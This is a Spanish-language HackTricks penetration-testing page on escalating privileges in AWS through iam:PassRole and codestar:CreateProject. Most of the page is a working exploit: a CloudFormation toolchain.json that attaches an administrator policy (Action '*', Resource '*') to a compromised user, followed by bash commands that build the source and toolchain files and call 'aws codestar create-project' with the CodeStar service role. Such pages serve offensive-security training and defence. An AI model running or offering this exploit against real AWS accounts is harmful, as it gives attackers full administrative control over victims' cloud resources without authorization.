iam:PassRole, codestar:CreateProject

Support HackTricks

Con estos permisos puedes abusar de un rol IAM de codestar para realizar acciones arbitrarias a través de una plantilla de cloudformation.

Para explotar esto necesitas crear un bucket S3 que sea accesible desde la cuenta atacada. Sube un archivo llamado toolchain.json. Este archivo debe contener el exploit de la plantilla de cloudformation. El siguiente puede ser utilizado para establecer una política administrada a un usuario bajo tu control y darle permisos de administrador:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

También sube este archivo empty zip al bucket:

Recuerda que el bucket con ambos archivos debe ser accesible por la cuenta de la víctima.

Con ambas cosas subidas, ahora puedes proceder a la explotación creando un proyecto de codestar:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Este exploit se basa en el exploit de Pacu de estos privilegios: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 En él puedes encontrar una variación para crear una política administrada por el administrador para un rol en lugar de para un usuario.

Apoya a HackTricks

Last updated